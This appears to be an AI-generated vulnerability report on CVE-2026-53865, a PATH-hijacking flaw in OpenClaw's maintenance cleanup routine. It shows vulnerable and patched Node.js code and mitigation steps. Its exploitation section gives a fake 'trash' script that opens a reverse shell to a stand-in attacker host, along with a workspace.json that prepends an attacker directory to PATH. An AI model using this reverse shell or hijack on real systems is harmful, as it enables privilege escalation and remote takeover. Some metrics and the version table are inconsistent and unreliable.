CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-53865

CVE-2026-53865: Arbitrary Local Command Execution in OpenClaw via Untrusted Search Path

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 19, 2026·6 min read·1 visit

Executive Summary (TL;DR)

OpenClaw vulnerabilities in dynamic environment configurations allow lower-privileged users to hijack system commands during automated maintenance cycles, leading to local privilege escalation.

A critical untrusted search path vulnerability (CWE-426) exists in OpenClaw, an open-source, multi-platform personal AI assistant. In versions prior to 2026.5.2 (and up to 2026.5.26 in specific deployment configurations), the application merges workspace-derived configuration parameters into the operating system environment object. When executing administrative maintenance routines, OpenClaw invokes external system commands, such as the 'trash' utility, without verifying the underlying executable path. This allows a low-privileged local user or workspace collaborator to hijack binary execution flows, resulting in arbitrary command execution within the privilege context of the OpenClaw service wrapper.

Vulnerability Overview

OpenClaw is designed as a local-first AI assistant requiring tight integration with host file systems and native utilities. To ensure optimal file storage, OpenClaw features automated maintenance procedures that run periodically or are invoked manually by administrators. These tasks process and clear temporary files, cached execution nodes, and user configuration backups. To prevent standard, irreversible system deletion, the cleanup routines invoke the 'trash' system utility to securely move unnecessary objects to the recycling area.

The core of the vulnerability lies in how OpenClaw configures workspace-derived execution environments. Workspace properties are managed using dedicated settings files, which can include customized environment variables intended to help user-defined tasks and integration wrappers locate local system resources. However, OpenClaw does not isolate administrative cleanup operations from these workspace configurations.

When a maintenance task is executed, the application dynamically generates a process environment containing the workspace-specific modifications. Because this environment is derived from user-controlled workspace properties, an attacker who is a local user or has access to change the workspace structure can append paths to the system execution path. This behavior exposes a critical attack surface, resulting in untrusted path resolution.

Root Cause Analysis

The root cause of CVE-2026-53865 is a CWE-426 (Untrusted Search Path) weakness in the maintenance module of OpenClaw. When spawning system-level child processes, Node.js applications use the child_process module's execution APIs, such as spawn or exec. These APIs accept an optional options object that specifies an env payload. If no env payload is defined, Node.js defaults to the current system environment variables process.env.

In affected versions of OpenClaw, the process creation mechanism merges the global process.env with an array of key-value pairs parsed from the workspace's local configurations. This merge process prepends or appends custom directory entries to the PATH environment variable. When the maintenance routine schedules a run, it issues an execution request for the default cleanup utility, which relies on the operating system's resolution mechanism to find the command.

Because the workspace configuration is parsed directly into the child process's execution context, the host operating system performs binary resolution using the polluted PATH variable first. If the PATH contains an attacker-controlled directory at the front of the list, the system locates and executes the binary located inside that directory instead of the standard executable in system paths such as /usr/bin or /bin.

Code Analysis

The vulnerability is demonstrated by looking at the logical flaw in how the system task runner processes the local workspace properties prior to spawning child processes.

// VULNERABLE CODE PATH
const cp = require('child_process');
const fs = require('fs');
const path = require('path');
 
function runMaintenanceJob(workspaceDir, filesToPurge) {
    // Extract workspace configuration settings
    const configPath = path.join(workspaceDir, 'workspace.json');
    const rawConfig = fs.readFileSync(configPath, 'utf8');
    const config = JSON.parse(rawConfig);
 
    // VULNERABLE: Direct merging of untrusted environment variables
    const mergedEnv = {
        ...process.env,
        ...config.customEnv
    };
 
    // VULNERABLE: Invoking a system command without utilizing an absolute path
    // If customEnv modifies PATH, Node.js resolves 'trash' using the modified environment
    const processTask = cp.spawn('trash', filesToPurge, {
        env: mergedEnv,
        shell: true
    });
}

The fix implementation resolves this by separating the environment context of local workspace commands from core administrative operations. It also enforces absolute path resolution for system utilities.

// SECURED CODE PATH
const cp = require('child_process');
const path = require('path');
 
function runMaintenanceJobSecured(workspaceDir, filesToPurge) {
    // Hardcode or resolve the absolute path to the system utility securely
    const trustedUtilityPath = process.platform === 'win32' 
        ? 'C:\\Windows\\System32\\recycle.exe' 
        : '/usr/bin/trash-put';
 
    // Create a fully sanitized environment object
    const sanitizedEnv = { ...process.env };
 
    // Explicitly restrict PATH to trusted directories only
    sanitizedEnv.PATH = process.platform === 'win32' 
        ? 'C:\\Windows\\System32;C:\\Windows' 
        : '/usr/bin:/bin:/usr/sbin:/sbin';
 
    // Execute using the absolute path with shell evaluation disabled
    const processTask = cp.spawn(trustedUtilityPath, filesToPurge, {
        env: sanitizedEnv,
        shell: false
    });
}

Exploitation & Attack Methodology

Exploitation requires an attacker to have local write access to an active workspace directory or the ability to influence its environment settings. The configuration can be modified via an integrated JSON workspace profile or an external .env file depending on deployment parameters.

An attacker begins by creating a local directory within a writable space, such as /tmp/attack_vector. Inside this folder, the attacker places a compiled binary or script named trash. This payload contains the instructions to execute within the target service context.

# Example of an attacker-crafted script located in /tmp/attack_vector/trash
#!/bin/sh
/bin/bash -c "bash -i >& /dev/tcp/attacker.local/4444 0>&1"

Once the payload is ready and executable, the attacker modifies the local workspace.json config settings or relevant environmental directives inside the workspace folder:

{
  "workspaceName": "Default Project",
  "customEnv": {
    "PATH": "/tmp/attack_vector:/usr/bin:/bin"
  }
}

When a standard maintenance cycle is triggered automatically or started manually, the OpenClaw service scans the workspace files, merges the environment variables, and executes the cleanup function. The operating system references /tmp/attack_vector first, resulting in the execution of the attacker's trash script rather than the system-wide tool.

Impact Assessment

Successful exploitation of CVE-2026-53865 leads to local privilege escalation. Because OpenClaw is designed to manage various local storage drives and external service instances, its administrative worker services are often configured with elevated system-level permissions. If a service runs under a specialized administrative user or as root, any commands executed via the untrusted search path vulnerability will run with those same high-level system permissions.

This vulnerability breaks local multi-tenant boundaries. In environments where multiple developers or automated systems share a single OpenClaw Gateway deployment, low-privileged workspace contributors can escalate their privileges to compromise the underlying system.

The threat model of the system also affects local networks, as compromised assistants can expose credentials, session cookies, database schemas, and AI models stored in memory.

Remediation and Verification

Administrators must deploy updated binaries to resolve the path injection issue. OpenClaw release 2026.5.2 restricts environment merging and forces absolute paths for system execution contexts. If utilizing specific OS distributions, administrators should update deployments to version 2026.5.26 to address all beta-channel configurations.

If manual patching is not immediately feasible, deploy the following workarounds to reduce risk:

  • Restrict Directory Permissions: Ensure that OpenClaw workspace folders and configuration files are writable only by their respective administrative users.
  • Process Containment: Implement container-level isolation using Docker, gVisor, or systemd sandboxes with restricted system calls and minimal permissions.
  • Path Sanitization Wrapper: Prepend clean system path variables at the shell level prior to launching the main OpenClaw gateway daemon.
# Restrict daemon executions inside systemd units by locking down path properties:
[Service]
Environment="PATH=/usr/bin:/bin:/usr/sbin:/sbin"

Technical Appendix

CVSS Score
7.2/ 10
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.12%
Top 98% most exploited

Affected Systems

OpenClaw Gateway deployments on Linux, macOS, and WindowsOpenClaw packages hosted via NPM registrySelf-hosted instances running with workspace integrations enabled

Affected Versions Detail

Product
Affected Versions
Fixed Version
openclaw
OpenClaw
< 2026.5.22026.5.2
openclaw
OpenClaw
< 2026.5.262026.5.26
AttributeDetail
CWE IDCWE-426
Attack VectorLocal
CVSS v4.07.2
EPSS Score0.00118 (Percentile: 2.01%)
ImpactArbitrary Command Execution / Privilege Escalation
Exploit StatusProof of Concept
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1574Hijack Execution Flow
Persistence
T1574.007Hijack Execution Flow: Path Abuse
Privilege Escalation
T1574.009Hijack Execution Flow: Path Hijacking
Defense Evasion
CWE-426
Untrusted Search Path

The application searches for critical executables or library files within paths that can be manipulated by untrusted users.

Vulnerability Timeline

CVE-2026-53865 officially assigned and published by VulnCheck
2026-06-16
Vendor security advisory coordinates disclosure
2026-06-16
National Vulnerability Database documents affected CPE parameters
2026-06-18
Google OSV indexes and lists vulnerability tracking properties
2026-06-18

References & Sources

  • [1]GitHub Security Advisory GHSA-rx78-29qr-5hq8
  • [2]VulnCheck Technical Security Advisory
  • [3]NVD Vulnerability Database Page
  • [4]Google Open Source Vulnerabilities (OSV)
  • [5]CVE.org Authoritative Vulnerability Page

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•21 minutes ago•CVE-2026-53849
8.6

CVE-2026-53849: Privilege Escalation and Authentication Bypass via Mutable Discord Display Names in OpenClaw allowFrom

OpenClaw before version 2026.5.7 contains a security vulnerability where the allowFrom feature improperly validates Discord account identity using mutable display names rather than immutable user IDs. This allows remote attackers to bypass authorization controls and escalate privileges by changing their Discord display or global names to match a configured policy entry.

Alon Barad
Alon Barad
0 views•6 min read
•about 1 hour ago•CVE-2026-53858
7.1

CVE-2026-53858: Local Code Execution via Untrusted Search Path in OpenClaw

OpenClaw versions prior to 2026.5.2 are vulnerable to an untrusted search path flaw (CWE-426) during workspace initialization. When an operator opens a workspace, the application parses the workspace's local `.env` file and uses the unvalidated `STATE_DIRECTORY` variable to resolve and execute bundled runtime dependencies. An attacker can exploit this to achieve local code execution under the security context of the operator.

Alon Barad
Alon Barad
1 views•7 min read
•about 2 hours ago•CVE-2026-53852
5.4

CVE-2026-53852: Scope Containment Bypass in OpenClaw Device Re-pairing

OpenClaw versions prior to 2026.4.25 are subject to a scope containment bypass vulnerability in the device re-pairing component. When processing re-pairing requests, the application backend fails securely, allowing authenticated operators to bypass authorization containment policies. By submitting a re-pairing payload with an empty or omitted scope array, an operator can skip containment checks and retain broader, previously established administrative privileges. This vulnerability is classified under CWE-636: Not Failing Securely ('Failing Open').

Amit Schendel
Amit Schendel
2 views•8 min read
•about 2 hours ago•CVE-2026-53854
6.0

CVE-2026-53854: Privilege Escalation via Wildcard Authorization Inheritance in OpenClaw

CVE-2026-53854 is an authorization bypass vulnerability in OpenClaw, an open-source WhatsApp gateway CLI and Pi RPC agent. The flaw exists in the command authentication flow where low-privilege actors communicating via internal or webchat interfaces inherit global wildcard authorization states across channel boundaries. This cross-channel inheritance allows unauthorized command execution with administrative privileges.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 3 hours ago•CVE-2026-0755
9.8

CVE-2026-0755: Remote Code Execution and Arbitrary File Exfiltration in gemini-mcp-tool

CVE-2026-0755 is a critical vulnerability in gemini-mcp-tool (<= 1.1.5) that allows unauthenticated remote code execution on Windows installations and arbitrary local file exfiltration across all supported operating systems. The flaws exist within the execAsync command runner and the input handling logic of the Model Context Protocol (MCP) server, which fails to securely escape arguments passed to Node.js child processes and does not validate local file references in user-supplied prompt strings.

Alon Barad
Alon Barad
4 views•7 min read
•about 3 hours ago•GHSA-G7M4-839X-CH6V
8.7

GHSA-g7m4-839x-ch6v: Denial of Service via Unbounded Digits Parameter in spomky-labs/otphp

The spomky-labs/otphp library prior to version 11.4.3 is vulnerable to an unhandled DivisionByZeroError crash when parsing provisioning URIs containing a digits parameter value equal to or greater than 40. This allows unauthenticated remote attackers to trigger a Denial of Service by supplying a crafted URI, which causes float-to-integer cast overflow and subsequent division-by-zero fatal error in modern PHP runtimes.

Alon Barad
Alon Barad
2 views•7 min read